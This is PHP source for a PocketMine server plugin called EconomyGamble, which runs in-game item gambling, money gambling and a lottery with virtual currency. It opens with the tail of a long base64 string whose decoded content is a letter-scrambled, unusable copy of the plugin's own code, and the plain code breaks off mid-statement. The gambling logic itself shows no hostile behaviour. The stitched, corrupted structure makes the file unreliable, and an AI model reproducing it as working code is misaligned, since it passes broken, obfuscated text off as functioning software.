JHRPRzEtPm1lMTFhZ2UgKCAkcGxhVWU4LCAkdE9HMS0+Z2V0ICggImNvbW1hbmQxLWVnLU9lbHAyIiApICk7ICR0T0cxLT5tZTExYWdlICggJHBsYVVlOCwgJHRPRzEtPmdldCAoICJjb21tYW5kMS1lZy1PZWxwMyIgKSApOyBiOGVhazsgfSAxd0d0Y08gKCRhOGcxIFswXSkgeyBjYTFlICR0T0cxLT5nZXQgKCAiMUliLWNvbW1hbmQxLWM4ZWF0ZSIgKSA6IChHMTFldCAoICRhOGcxIFtzXSApKSA/ICR0T0cxLT5pYW1ibGVxOGVhdGVRSWVJZSAoICRwbGFVZTgsICRhOGcxIFtzXSApIDogJHRPRzEtPmlhbWJsZXE4ZWF0ZVFJZUllICggJHBsYVVlOCApOyBiOGVhazsgY2ExZSAkdE9HMS0+Z2V0ICggIjFJYi1jb21tYW5kMS1jYW5jZWwiICkgOiBHZiAoRzExZXQgKCAkdE9HMS0+YzhlYXRlUUllSWUgWyRwbGFVZTgtPmdldE5hbWUgKCldICkpIEluMWV0ICggJHRPRzEtPmM4ZWF0ZVFJZUllIFskcGxhVWU4LT5nZXROYW1lICgpXSApOyAkdE9HMS0+bWUxMWFnZSAoICRwbGFVZTgsICR0T0cxLT5nZXQgKCAiYWxsLXA4b2NlMTFHbmctRzEtMXRvcHBlZCIgKSApOyBiOGVhazsgY2ExZSAkdE9HMS0+Z2V0ICggIjFJYi1jb21tYW5kMS0xZWVnYW1ibGUiICkgOiBHZiAoRzExZXQgKCAkdE9HMS0+ZGIgWyIxZXR0R25nMSJdIFsiMWVlaWFtYmxlIl0gKSkgeyBHZiAoJHRPRzEtPmRiIFsiMWV0dEduZzEiXSBbIjFlZWlhbWJsZSJdKSB7ICR0T0cxLT5kYiBbIjFldHRHbmcxIl0gWyIxZWVpYW1ibGUiXSA9IGZhbDFlOyAkdE9HMS0+bWUxMWFnZSAoICRwbGFVZTgsICR0T0cxLT5nZXQgKCAiMWVlZ2FtYmxlLWRHMWFibGVkIiApICk7IH0gZWwxZSB7ICR0T0cxLT5kYiBbIjFldHRHbmcxIl0gWyIxZWVpYW1ibGUiXSA9IHQ4SWU7ICR0T0cxLT5tZTExYWdlICggJHBsYVVlOCwgJHRPRzEtPmdldCAoICIxZWVnYW1ibGUtZW5hYmxlZCIgKSApOyB9IH0gZWwxZSB7ICR0T0cxLT5kYiBbIjFldHRHbmcxIl0gWyIxZWVpYW1ibGUiXSA9IHQ4SWU7ICR0T0cxLT5tZTExYWdlICggJHBsYVVlOCwgJHRPRzEtPmdldCAoICIxZWVnYW1ibGUtZW5hYmxlZCIgKSApOyB9IGI4ZWFrOyBkZWZhSWx0IDogJHRPRzEtPm1lMTFhZ2UgKCAkcGxhVWU4LCAkdE9HMS0+Z2V0ICggImNvbW1hbmQxLWVnLU9lbHBzIiApICk7ICR0T0cxLT5tZTExYWdlICggJHBsYVVlOCwgJHRPRzEtPmdldCAoICJjb21tYW5kMS1lZy1PZWxwMiIgKSApOyAkdE9HMS0+bWUxMWFnZSAoICRwbGFVZTgsICR0T0cxLT5nZXQgKCAiY29tbWFuZDEtZWctT2VscDMiICkgKTsgYjhlYWs7IH0gYjhlYWs7IH0gOGV0SThuIHQ4SWU7IH0gcElibEdjIGZJbmN0R29uIGlhbWJsZXE4ZWF0ZVFJZUllKEtsYVVlOCAkcGxhVWU4LCAkZ2FtYmxlID0gbklsbCkgeyBHZiAoJGdhbWJsZSA9PSBuSWxsIG84ICghIEcxX25JbWU4R2MgKCAkZ2FtYmxlICkgYW5kICgkZ2FtYmxlICE9ICR0T0cxLT5nZXQgKCAiR3RlbWdhbWJsZSIgKSBhbmQgJGdhbWJsZSAhPSAkdE9HMS0+Z2V0ICggIjhhbmRvbWdhbWJsZSIgKSBhbmQgJGdhbWJsZSAhPSAkdE9HMS0+Z2V0ICggImxvdHRlOFUiICkpKSkgeyAkdE9HMS0+bWUxMWFnZSAoICRwbGFVZTgsICR0T0cxLT5nZXQgKCAiZ2FtYmxlLU9lbHBzIiApICk7ICR0T0cxLT5tZTExYWdlICggJHBsYVVlOCwgJHRPRzEtPmdldCAoICJnYW1ibGUtT2VscDIiICkgKTsgJHRPRzEtPm1lMTFhZ2UgKCAkcGxhVWU4LCAkdE9HMS0+Z2V0ICggImdhbWJsZS1PZWxwMyIgKSApOyAkdE9HMS0+bWUxMWFnZSAoICRwbGFVZTgsICR0T0cxLT5nZXQgKCAiZ2FtYmxlLU9lbHBNIiApICk7IDhldEk4bjsgfSAkdE9HMS0+bWUxMWFnZSAoICRwbGFVZTgsICR0T0cxLT5nZXQgKCAid09HY08tVW9JLXdhbnQtcGxhY2UtY09vbzFlLXBvMSIgKSApOyAkdE9HMS0+YzhlYXRlUUllSWUgWyRwbGFVZTgtPmdldE5hbWUgKCldID0gJGdhbWJsZTsgfSBwSWJsR2MgZkluY3RHb24gRWNvbm9tVWlhbWJsZSgpIHsgR2YgKCEgRzExZXQgKCAkdE9HMS0+ZGIgWyIxT293cWExZSJdICkpIDhldEk4bjsgZm84ZWFjTyAoICR0T0cxLT5nZXRTZTh2ZTggKCktPmdldGhubEduZUtsYVVlODEgKCkgYTEgJHBsYVVlOCApIHsgZm84ZWFjTyAoICR0T0cxLT5kYiBbIjFPb3dxYTFlIl0gYTEgJGdhbWJsZUtvMSA9PiAkdFVwZSApIHsgJGV4cGxvZGUgPSBleHBsb2RlICggIi4iLCAkZ2FtYmxlS28xICk7IEdmICghIEcxMWV0ICggJGV4cGxvZGUgWzJdICkpIGNvbnRHbkllOyAkZHggPSBhYjEgKCAkZXhwbG9kZSBbMF0gLSAkcGxhVWU4LT54ICk7ICRkVSA9IGFiMSAoICRleHBsb2RlIFtzXSAtICRwbGFVZTgtPlUgKTsgJGR6ID0gYWIxICggJGV4cGxvZGUgWzJdIC0gJHBsYVVlOC0+eiApOyBHZiAoISAoJGR4IDw9IDI1IGFuZCAkZFUgPD0gMjUgYW5kICRkeiA8PSAyNSkpIHsgR2YgKCEgRzExZXQgKCAkdE9HMS0+cGFja2V0UUllSWUgWyRwbGFVZTgtPmdldE5hbWUgKCldIFskZ2FtYmxlS28xXSApKSBjb250R25JZTsgR2YgKEcxMWV0ICggJHRPRzEtPnBhY2tldFFJZUllIFskcGxhVWU4LT5nZXROYW1lICgpXSBbJGdhbWJsZUtvMV0gKSkgeyAkdE9HMS0+cGFja2V0IFsiUmVtb3ZlRW50R3RVS2Fja2V0Il0tPmVHZCA9ICR0T0cxLT5wYWNrZXRRSWVJZSBbJHBsYVVlOC0+Z2V0TmFtZSAoKV0gWyRnYW1ibGVLbzFdOyAkcGxhVWU4LT5kYXRhS2Fja2V0ICggJHRPRzEtPnBhY2tldCBbIlJlbW92ZUVudEd0VUthY2tldCJdICk7IEluMWV0ICggJHRPRzEtPnBhY2tldFFJZUllIFskcGxhVWU4LT5nZXROYW1lICgpXSBbJGdhbWJsZUtvMV0gKTsgfSBHZiAoRzExZXQgKCAkdE9HMS0+cGFja2V0UUllSWUgWyRwbGFVZTgtPmdldE5hbWUgKCldIFsibmFtZXRhZyJdIFskZ2FtYmxlS28xXSApKSB7ICR0T0cxLT5wYWNrZXQgWyJSZW1vdmVFbnRHdFVLYWNrZXQiXS0+ZUdkID0gJHRPRzEtPnBhY2tldFFJZUllIFskcGxhVWU4LT5nZXROYW1lICgpXSBbIm5hbWV0YWciXSBbJGdhbWJsZUtvMV07ICRwbGFVZTgtPmRhdGFLYWNrZXQgKCAkdE9HMS0+cGFja2V0IFsiUmVtb3ZlRW50R3RVS2Fja2V0Il0gKTsgSW4xZXQgKCAkdE9HMS0+cGFja2V0UUllSWUgWyRwbGFVZTgtPmdldE5hbWUgKCldIFsibmFtZXRhZyJdIFskZ2FtYmxlS28xXSApOyB9IGNvbnRHbkllOyB9IGVsMWUgeyBHZiAoISBHMTFldCAoICR0T0cxLT5wYWNrZXRRSWVJZSBbJHBsYVVlOC0+Z2V0TmFtZSAoKV0gWyRnYW1ibGVLbzFdICkpIHsgJHRPRzEtPnBhY2tldFFJZUllIFskcGxhVWU4LT5nZXROYW1lICgpXSBbJGdhbWJsZUtvMV0gPSBFbnRHdFU6OiRlbnRHdFVxb0ludCArKzsgJHRPRzEtPnBhY2tldCBbIkFkZHV0ZW1FbnRHdFVLYWNrZXQiXS0+ZUdkID0gJHRPRzEtPnBhY2tldFFJZUllIFskcGxhVWU4LT5nZXROYW1lICgpXSBbJGdhbWJsZUtvMV07ICR0T0cxLT5wYWNrZXQgWyJBZGR1dGVtRW50R3RVS2Fja2V0Il0tPnggPSAkZXhwbG9kZSBbMF0gKyAwLjU7ICR0T0cxLT5wYWNrZXQgWyJBZGR1dGVtRW50R3RVS2Fja2V0Il0tPlUgPSAkZXhwbG9kZSBbc10gKyBzOyAkdE9HMS0+cGFja2V0IFsiQWRkdXRlbUVudEd0VUthY2tldCJdLT56ID0gJGV4cGxvZGUgWzJdICsgMC41OyAkcGxhVWU4LT5kYXRhS2Fja2V0ICggJHRPRzEtPnBhY2tldCBbIkFkZHV0ZW1FbnRHdFVLYWNrZXQiXSApOyB9IEdmIChHMTFldCAoICR0T0cxLT5kYiBbIjFldHRHbmcxIl0gWyJuYW1ldGFnRW5hYmxlIl0gKSkgR2YgKCEgJHRPRzEtPmRiIFsiMWV0dEduZzEiXSBbIm5hbWV0YWdFbmFibGUiXSkgY29udEduSWU7IEdmICgkZHggPD0gTSBhbmQgJGRVIDw9IE0gYW5kICRkeiA8PSBNKSB7IEdmIChHMTFldCAoICR0T0cxLT5wYWNrZXRRSWVJZSBbJHBsYVVlOC0+Z2V0TmFtZSAoKV0gWyJuYW1ldGFnIl0gWyRnYW1ibGVLbzFdICkpIGNvbnRHbkllOyAxd0d0Y08gKCR0VXBlKSB7IGNhMWUgJHRPRzEtPmdldCAoICJHdGVtZ2FtYmxlIiApIDogJG5hbWVUYWcgPSAkdE9HMS0+Z2V0ICggIkd0ZW1nYW1ibGUtZGUxY3MiICk7ICRuYW1lVGFnIC49ICJcbiIgLiAkdE9HMS0+Z2V0ICggIkd0ZW1nYW1ibGUtZGUxYzIiICk7ICRuYW1lVGFnIC49ICJcbiIgLiAkdE9HMS0+Z2V0ICggIkd0ZW1nYW1ibGUtZGUxYzMiICk7ICRuYW1lVGFnIC49ICJcbiIgLiAkdE9HMS0+Z2V0ICggIkd0ZW1nYW1ibGUtZGUxY00iICk7IGI4ZWFrOyBjYTFlICR0T0cxLT5nZXQgKCAiOGFuZG9tZ2FtYmxlIiApIDogJG5hbWVUYWcgPSAkdE9HMS0+Z2V0ICggIjhhbmRvbWdhbWJsZS1kZTFjcyIgKTsgJG5hbWVUYWcgLj0gIlxuIiAuICR0T0cxLT5nZXQgKCAiOGFuZG9tZ2FtYmxlLWRlMWMyIiApOyAkbmFtZVRhZyAuPSAiXG4iIC4gJHRPRzEtPmdldCAoICI4YW5kb21nYW1ibGUtZGUxYzMiICk7IGI4ZWFrOyBjYTFlICR0T0cxLT5nZXQgKCAibG90dGU4VSIgKSA6ICRuYW1lVGFnID0gJHRPRzEtPmdldCAoICJsb3R0ZThVLWRlMWNzIiApOyAkbmFtZVRhZyAuPSAnJCcgLiAkdE9HMS0+cDhvYmFiR2xHdFUgWyJMb3R0ZThVSzhHY2UiXTsgJG5hbWVUYWcgLj0gIlxuIiAuICR0T0cxLT5nZXQgKCAibG90dGU4VS1kZTFjMiIgKTsgJG5hbWVUYWcgLj0gIlxuIiAuICR0T0cxLT5nZXQgKCAibG90dGU4VS1kZTFjMyIgKTsgJG5hbWVUYWcgLj0gJyQnIC4gJHRPRzEtPnA4b2JhYkdsR3RVIFsiTG90dGU4VXFvbXBlbjFhdEdvbiJdOyBiOGVhazsgZGVmYUlsdCA6IEdmIChHMV9uSW1lOEdjICggJHRVcGUgKSkgeyAkbmFtZVRhZyA9ICR0T0cxLT5nZXQgKCAiZ2FtYmxlLWRlMWNzIiApOyAkbmFtZVRhZyAuPSAnJCcgLiAkdFVwZTsgJG5hbWVUYWcgLj0gIlxuIiAuICR0T0cxLT5nZXQgKCAiZ2FtYmxlLWRlMWMyIiApOyAkbmFtZVRhZyAuPSAiXG4iIC4gJHRPRzEtPmdldCAoICJnYW1ibGUtZGUxYzMiICk7IGI4ZWFrOyB9ICRuYW1lVGFnID0gIklua25vd24iOyBiOGVhazsgfSAkdE9HMS0+cGFja2V0UUllSWUgWyRwbGFVZTgtPmdldE5hbWUgKCldIFsibmFtZXRhZyJdIFskZ2FtYmxlS28xXSA9IEVudEd0VTo6JGVudEd0VXFvSW50ICsrOyAkdE9HMS0+cGFja2V0IFsiQWRkRW50R3RVS2Fja2V0Il0tPmVHZCA9ICR0T0cxLT5wYWNrZXRRSWVJZSBbJHBsYVVlOC0+Z2V0TmFtZSAoKV0gWyJuYW1ldGFnIl0gWyRnYW1ibGVLbzFdOyAkdE9HMS0+cGFja2V0IFsiQWRkRW50R3RVS2Fja2V0Il0tPmNsR2VudHVEID0gJHRPRzEtPnBhY2tldFFJZUllIFskcGxhVWU4LT5nZXROYW1lICgpXSBbIm5hbWV0YWciXSBbJGdhbWJsZUtvMV07ICR0T0cxLT5wYWNrZXQgWyJBZGRFbnRHdFVLYWNrZXQiXS0+bWV0YWRhdGEgW0VudEd0VTo6REFUQV9OQTRFVEFpXSA9IFsgRW50R3RVOjpEQVRBX1RZS0VfU1RSdU5pLCAkbmFtZVRhZyBdOyAkdE9HMS0+cGFja2V0IFsiQWRkRW50R3RVS2Fja2V0Il0tPnggPSAkZXhwbG9kZSBbMF0gKyAwLk07ICR0T0cxLT5wYWNrZXQgWyJBZGRFbnRHdFVLYWNrZXQiXS0+VSA9ICRleHBsb2RlIFtzXSArIHM7ICR0T0cxLT5wYWNrZXQgWyJBZGRFbnRHdFVLYWNrZXQiXS0+eiA9ICRleHBsb2RlIFsyXSArIDAuTTsgJHBsYVVlOC0+ZGF0YUthY2tldCAoICR0T0cxLT5wYWNrZXQgWyJBZGRFbnRHdFVLYWNrZXQiXSApOyB9IGVsMWUgR2YgKEcxMWV0ICggJHRPRzEtPnBhY2tldFFJZUllIFskcGxhVWU4LT5nZXROYW1lICgpXSBbIm5hbWV0YWciXSBbJGdhbWJsZUtvMV0gKSkgeyAkdE9HMS0+cGFja2V0IFsiUmVtb3ZlRW50R3RVS2Fja2V0Il0tPmVHZCA9ICR0T0cxLT5wYWNrZXRRSWVJZSBbJHBsYVVlOC0+Z2V0TmFtZSAoKV0gWyJuYW1ldGFnIl0gWyRnYW1ibGVLbzFdOyAkdE9HMS0+cGFja2V0IFsiUmVtb3ZlRW50R3RVS2Fja2V0Il0tPmNsR2VudHVEID0gJHRPRzEtPnBhY2tldFFJZUllIFskcGxhVWU4LT5nZXROYW1lICgpXSBbIm5hbWV0YWciXSBbJGdhbWJsZUtvMV07ICRwbGFVZTgtPmRhdGFLYWNrZXQgKCAkdE9HMS0+cGFja2V0IFsiUmVtb3ZlRW50R3RVS2Fja2V0Il0gKTsgSW4xZXQgKCAkdE9HMS0+cGFja2V0UUllSWUgWyRwbGFVZTgtPmdldE5hbWUgKCldIFsibmFtZXRhZyJdIFskZ2FtYmxlS28xXSApOyB9IH0gfSB9IH0gcElibEdjIGZJbmN0R29uIGdldEs4b2JhYkdsR3RVKCR2YTgsICRuSW0pIHsgJGUgPSBleHBsb2RlICggIi8iLCAkdE9HMS0+cDhvYmFiR2xHdFUgWyR2YThdICk7IDhldEk4biAkZSBbJG5JbV07IH0gcElibEdjIGZJbmN0R29uIGxvdHRvY09lY2soS2xhVWU4Vm9HbkV2ZW50ICRldmVudCkgeyAkcGxhVWU4ID0gJGV2ZW50LT5nZXRLbGFVZTggKCk7IEdmIChHMTFldCAoICR0T0cxLT5sb3R0byBbJHBsYVVlOC0+Z2V0TmFtZSAoKV0gKSkgeyAkZ2V0ID0gJHRPRzEtPmxvdHRvIFskcGxhVWU4LT5nZXROYW1lICgpXTsgJGRhVSA9ICRnZXQgWyJkYVUiXTsgJGNvSW50ID0gJGdldCBbImNvSW50Il07IEdmICgkY29JbnQgIT0gMCBhbmQgZGF0ZSAoICJkIiApICE9ICRkYVUpIHsgJHRPRzEtPm1lMTFhZ2UgKCAkcGxhVWU4LCAkdE9HMS0+Z2V0ICggIkxvdHRlOFVxT2VjayIgKSApOyAkOGUxSWx0cW9JbnQgPSAkY29JbnQ7IGZvOCgkRyA9IHM7ICRHIDw9ICRjb0ludDsgJEcgKyspIHsgJDhhbmQgPSBtdF84YW5kICggMCwgJHRPRzEtPmdldEs4b2JhYkdsR3RVICggIkxvdHRlOFVLOG9iYWJHbEd0VSIsIHMgKSApOyBHZiAoISAoJDhhbmQgPD0gJHRPRzEtPmdldEs4b2JhYkdsR3RVICggIkxvdHRlOFVLOG9iYWJHbEd0VSIsIDAgKSkpIC0tICQ4ZTFJbHRxb0ludDsgfSBHZiAoJDhlMUlsdHFvSW50ID09IDApIHsgJHRPRzEtPm1lMTFhZ2UgKCAkcGxhVWU4LCAkdE9HMS0+Z2V0ICggIkxvdHRlOFVxT2Vjay1hIiApIC4gIiAiIC4gJGNvSW50IC4gJHRPRzEtPmdldCAoICJMb3R0ZThVcU9lY2stYiIgKSApOyAkdE9HMS0+bWUxMWFnZSAoICRwbGFVZTgsICR0T0cxLT5nZXQgKCAiRmFHbGlhbWJsZSIgKSApOyB9IGVsMWUgeyAkdE9HMS0+ZWNvbm9tVUFLdS0+YWRkNG9uZVUgKCAkcGxhVWU4LCAkOGUxSWx0cW9JbnQgKiAkdE9HMS0+Z2V0SzhvYmFiR2xHdFUgKCAiTG90dGU4VXFvbXBlbjFhdEdvbiIsIDAgKSApOyBmbzhlYWNPICggJHRPRzEtPmdldFNlOHZlOCAoKS0+Z2V0aG5sR25lS2xhVWU4MSAoKSBhMSAkcCApIHsgJHRPRzEtPm1lMTFhZ2UgKCAkcCwgJHBsYVVlOC0+Z2V0TmFtZSAoKSAuICR0T0cxLT5nZXQgKCAiU0ljY2UxMUxvdHRlOFUiICkgKTsgJHRPRzEtPm1lMTFhZ2UgKCAkcCwgJHRPRzEtPmdldCAoICJTSWNjZTExTG90dGU4VS1hIiApIC4gJDhlMUlsdHFvSW50IC4gJHRPRzEtPmdldCAoICJTSWNjZTExTG90dGU4VS1iIiApIC4gJDhlMUlsdHFvSW50ICogJHRPRzEtPmdldEs4b2JhYkdsR3RVICggIkxvdHRlOFVxb21wZW4xYXRHb24iLCAwICkgLiAkdE9HMS0+Z2V0ICggIlNJY2NlMTFMb3R0ZThVLWMiICkgKTsgfSB9IEluMWV0ICggJHRPRzEtPmxvdHRvIFskcGxhVWU4LT5nZXROYW1lICgpXSApOyB9IH0gfSBwSWJsR2MgZkluY3RHb24gb25RSUd0KEtsYVVlOFFJR3RFdmVudCAkZXZlbnQpIHsgR2YgKEcxMWV0ICggJHRPRzEtPmM4ZWF0ZVFJZUllIFskZXZlbnQtPmdldEtsYVVlOCAoKS0+Z2V0TmFtZSAoKV0gKSkgSW4xZXQgKCAkdE9HMS0+YzhlYXRlUUllSWUgWyRldmVudC0+Z2V0S2xhVWU4ICgpLT5nZXROYW1lICgpXSApOyBHZiAoRzExZXQgKCAkdE9HMS0+cGFja2V0UUllSWUgWyRldmVudC0+Z2V0S2xhVWU4ICgpLT5nZXROYW1lICgpXSApKSBJbjFldCAoICR0T0cxLT5wYWNrZXRRSWVJZSBbJGV2ZW50LT5nZXRLbGFVZTggKCktPmdldE5hbWUgKCldICk7IH0gfSA=';
namespace ifteam\EconomyGamble; use pocketmine\plugin\PluginBase; use pocketmine\event\Listener; use pocketmine\utils\Config; use pocketmine\network\protocol\AddItemEntityPacket; use pocketmine\network\protocol\RemoveEntityPacket; use pocketmine\network\protocol\AddEntityPacket; use pocketmine\command\PluginCommand; use pocketmine\utils\TextFormat; use pocketmine\event\block\BlockBreakEvent; use pocketmine\event\player\PlayerQuitEvent; use pocketmine\event\player\PlayerInteractEvent; use pocketmine\block\Block; use pocketmine\item\Item; use pocketmine\command\CommandSender; use pocketmine\command\Command; use pocketmine\Player; use pocketmine\entity\Entity; use pocketmine\event\player\PlayerJoinEvent; use pocketmine\event\block\BlockPlaceEvent; use pocketmine\entity\Item as ItemEntity; class EconomyGamble extends PluginBase implements Listener { public $messages, $db; public $lotto, $probability; public $economyAPI = null; public $m_version = 3; public $packetQueue = [ ]; public $createQueue = [ ]; public $placeQueue = [ ]; public $askAgainQueue = [ ]; public $packet = [ ]; public function onEnable() { @mkdir ( $this->getDataFolder () ); $this->initMessage (); $this->db = (new Config ( $this->getDataFolder () . "GambleDB.yml", Config::YAML, [ "allow-gamble" => true ] ))->getAll (); if ($this->getServer ()->getPluginManager ()->getPlugin ( "EconomyAPI" ) != null) { $this->economyAPI = \onebone\economyapi\EconomyAPI::getInstance (); } else { $this->getLogger ()->error ( $this->get ( "there-are-no-economyapi" ) ); $this->getServer ()->getPluginManager ()->disablePlugin ( $this ); } $this->registerCommand ( $this->get ( "commands-gamble" ), $this->get ( "commands-gamble" ), "economygamble.commands.gamble", $this->get ( "commands-gamble-usage" ) ); $this->getServer ()->getPluginManager ()->registerEvents ( $this, $this ); $this->packet ["AddItemEntityPacket"] = new AddItemEntityPacket (); $this->packet ["AddItemEntityPacket"]->item = Item::get ( Item::STONE ); $this->packet ["RemoveEntityPacket"] = new RemoveEntityPacket (); $this->packet ["AddEntityPacket"] = new AddEntityPacket (); $this->packet ["AddEntityPacket"]->eid = 0; $this->packet ["AddEntityPacket"]->type = ItemEntity::NETWORK_ID; $this->packet ["AddEntityPacket"]->x = 0; $this->packet ["AddEntityPacket"]->y = 0 + 1; $this->packet ["AddEntityPacket"]->z = 0; $this->packet ["AddEntityPacket"]->speedX = 0; $this->packet ["AddEntityPacket"]->speedY = 0; $this->packet ["AddEntityPacket"]->speedZ = 0; $this->packet ["AddEntityPacket"]->yaw = 0; $this->packet ["AddEntityPacket"]->pitch = 0; $this->packet ["AddEntityPacket"]->item = 0; $this->packet ["AddEntityPacket"]->meta = 0; $this->packet ["AddEntityPacket"]->metadata = [ Entity::DATA_FLAGS => [ Entity::DATA_TYPE_BYTE, 1 << Entity::DATA_FLAG_INVISIBLE ], Entity::DATA_NAMETAG => [ Entity::DATA_TYPE_STRING, "" ], ]; $this->getServer ()->getScheduler ()->scheduleRepeatingTask ( new EconomyGambleTask ( $this ), 20 ); } public function onDisable() { $save = new Config ( $this->getDataFolder () . "GambleDB.yml", Config::YAML ); $save->setAll ( $this->db ); $save->save (); $save = new Config ( $this->getDataFolder () . "lotto.yml", Config::YAML ); $save->setAll ( $this->lotto ); $save->save (); } public function get($var) { return $this->messages [$this->messages ["default-language"] . "-" . $var]; } public function initMessage() { $this->saveResource ( "messages.yml", false ); $this->messagesUpdate ( "messages.yml" ); $this->messages = (new Config ( $this->getDataFolder () . "messages.yml", Config::YAML ))->getAll (); $this->saveResource ( "lotto.yml", false ); $this->lotto = (new Config ( $this->getDataFolder () . "lotto.yml", Config::YAML ))->getAll (); $this->saveResource ( "probability.yml", false ); $this->messagesUpdate ( "probability.yml" ); $this->probability = (new Config ( $this->getDataFolder () . "probability.yml", Config::YAML ))->getAll (); } public function messagesUpdate($targetYmlName) { $targetYml = (new Config ( $this->getDataFolder () . $targetYmlName, Config::YAML ))->getAll (); if (! isset ( $targetYml ["m_version"] )) { $this->saveResource ( $targetYmlName, true ); } else if ($targetYml ["m_version"] < $this->m_version) { $this->saveResource ( $targetYmlName, true ); } } public function registerCommand($name, $fallback, $permission, $description = "", $usage = "") { $commandMap = $this->getServer ()->getCommandMap (); $command = new PluginCommand ( $name, $this ); $command->setDescription ( $description ); $command->setPermission ( $permission ); $command->setUsage ( $usage ); $commandMap->register ( $fallback, $command ); } public function message($player, $text = "", $mark = null) { if ($mark == null) $mark = $this->get ( "default-prefix" ); $player->sendMessage ( TextFormat::DARK_AQUA . $mark . " " . $text ); } public function alert($player, $text = "", $mark = null) { if ($mark == null) $mark = $this->get ( "default-prefix" ); $player->sendMessage ( TextFormat::RED . $mark . " " . $text ); } public function onBreak(BlockBreakEvent $event) { $block = $event->getBlock (); $player = $event->getPlayer (); if (isset ( $this->db ["showCase"] ["{$block->x}.{$block->y}.{$block->z}"] )) { if (! $player->hasPermission ( "economygamble.commands.gamble" )) { $this->alert ( $player, $this->get ( "gamble-cannot-break" ) ); $event->setCancelled (); return; } unset ( $this->db ["showCase"] ["{$block->x}.{$block->y}.{$block->z}"] ); if (isset ( $this->packetQueue [$player->getName ()] ["nametag"] ["{$block->x}.{$block->y}.{$block->z}"] )) { $this->packet ["RemoveEntityPacket"]->eid = $this->packetQueue [$player->getName ()] ["nametag"] ["{$block->x}.{$block->y}.{$block->z}"]; $player->dataPacket ( $this->packet ["RemoveEntityPacket"] ); } if (isset ( $this->packetQueue [$player->getName ()] ["{$block->x}.{$block->y}.{$block->z}"] )) { $this->packet ["RemoveEntityPacket"]->eid = $this->packetQueue [$player->getName ()] ["{$block->x}.{$block->y}.{$block->z}"]; $player->dataPacket ( $this->packet ["RemoveEntityPacket"] ); unset ( $this->packetQueue [$player->getName ()] ["{$block->x}.{$block->y}.{$block->z}"] ); } $this->message ( $player, $this->get ( "gamble-completely-destroyed" ) ); } } public function onTouch(PlayerInteractEvent $event) { $block = $event->getBlock (); $player = $event->getPlayer (); if (isset ( $this->db ["showCase"] ["{$block->x}.{$block->y}.{$block->z}"] )) { $this->placeQueue [$player->getName ()] = true; if (! isset ( $this->askAgainQueue [spl_object_hash ( $event->getPlayer () )] )) { $this->askAgainQueue [spl_object_hash ( $event->getPlayer () )] = "{$block->x}.{$block->y}.{$block->z}"; $this->message ( $event->getPlayer (), $this->get ( "AskAgain" ) . $this->economyAPI->myMoney ( $player ) . " $ ]" ); return; } else { if ($this->askAgainQueue [spl_object_hash ( $event->getPlayer () )] != "{$block->x}.{$block->y}.{$block->z}") { $this->askAgainQueue [spl_object_hash ( $event->getPlayer () )] = "{$block->x}.{$block->y}.{$block->z}"; $this->message ( $event->getPlayer (), $this->get ( "AskAgain" ) . $this->economyAPI->myMoney ( $player ) . " $ ]" ); return; } else { unset ( $this->askAgainQueue [spl_object_hash ( $event->getPlayer () )] ); } } $gamble = $this->db ["showCase"] ["{$block->x}.{$block->y}.{$block->z}"]; switch ($gamble) { case $this->get ( "itemgamble" ) : if ($event->getItem ()->getID () == 0) { $this->alert ( $player, $this->get ( "noitem" ) ); return; } $rand = mt_rand ( 0, $this->getProbability ( "ItemGambleProbability", 1 ) ); if ($rand <= $this->getProbability ( "ItemGambleProbability", 0 )) { $player->getInventory ()->addItem ( Item::get ( $event->getItem ()->getID (), $event->getItem ()->getDamage (), 1 ) ); $this->message ( $player, $this->get ( "SuccessitemGamble" ) ); } else { $player->getInventory ()->removeItem ( Item::get ( $event->getItem ()->getID (), $event->getItem ()->getDamage (), 1 ) ); $this->message ( $player, $this->get ( "FailitemGamble" ) ); } break; case $this->get ( "randomgamble" ) : $mymoney = $this->economyAPI->myMoney ( $player ); if ($mymoney == 0) { $this->message ( $player, $this->get ( "LackOfhMoney" ) ); return; } $pay = mt_rand ( 0, $mymoney ); $rand = mt_rand ( 0, $this->getProbability ( "RandomGambleProbability", 1 ) ); if ($rand <= $this->getProbability ( "RandomGambleProbability", 0 )) { $this->economyAPI->addMoney ( $player, $pay ); $this->message ( $player, $this->get ( "SuccessGamble" ) . " $" . $pay . $this->get ( "SuccessGamble-a" ) ); } else { $this->economyAPI->reduceMoney ( $player, $pay ); $this->message ( $player, $this->get ( "FailGamble" ) . " $" . $pay . $this->get ( "FailGamble-a" ) ); } break; case $this->get ( "lottery" ) : $mymoney = $this->economyAPI->myMoney ( $player ); if ($mymoney < $this->probability ["LotteryPrice"]) { $this->message ( $player, $this->get ( "LackOfhMoney" ) ); return; } $lotto_c = 0; if (isset ( $this->lotto [$player->getName ()] )) { $get = $this->lotto [$player->getName ()]; $lotto_c = $get ["count"]; } if ($lotto_c >= 25) { $this->message ( $player, $this->get ( "Toomuch-Lottery" ) ); return; } $this->lotto [$player->getName ()] = array ( "count" => ++ $lotto_c, "day" => date ( "d" ) ); $this->economyAPI->reduceMoney ( $player, $this->getProbability ( "LotteryPrice", 0 ) ); $this->message ( $player, $this->get ( "LotteryPayment" ) . $this->lotto [$player->getName ()] ["count"] ); $this->message ( $player, $this->get ( "LotteryPayment-a" ) ); break; default : if (is_numeric ( $gamble )) { $money = $gamble; $mymoney = $this->economyAPI->myMoney ( $player ); if ($mymoney < $money) { $this->message ( $player, $this->get ( "LackOfhMoney" ) ); return; } $rand = mt_rand ( 0, $this->getProbability ( "GambleProbability", 1 ) ); if ($rand <= $this->getProbability ( "GambleProbability", 0 )) { $this->economyAPI->addMoney ( $player, $money ); $this->message ( $player, $this->get ( "SuccessGamble" ) ); } else { $this->economyAPI->reduceMoney ( $player, $money ); $this->message ( $player, $this->get ( "FailGamble" ) ); } } break; } } if (isset ( $this->createQueue [$player->getName ()] )) { $event->setCancelled (); $pos = $block->getSide ( 1 ); $gamble = $this->createQueue [$player->getName ()]; $this->db ["showCase"] ["{$pos->x}.{$pos->y}.{$pos->z}"] = $gamble; $block->getLevel ()->setBlock ( $pos, Block::get ( Item::GOLD_BLOCK ), true ); $this->message ( $player, $this->get ( "gamble-completely-created" ) ); unset ( $this->createQueue [$player->getName ()] ); } } public function onPlace(BlockPlaceEvent $event) { if (isset ( $this->placeQueue [$event->getPlayer ()->getName ()] )) { $event->setCancelled (); unset ( $this->placeQueue [$event->getPlayer ()->getName ()] ); } } public function onCommand(CommandSender $player, Command $command, $label, Array $args) { if (! $player instanceof Player) { $this->alert ( $player, $this->get ( "only-in-game" ) ); return true; } switch (strtolower ( $command->getName () )) { case $this->get ( "commands-gamble" ) : if (! isset ( $args 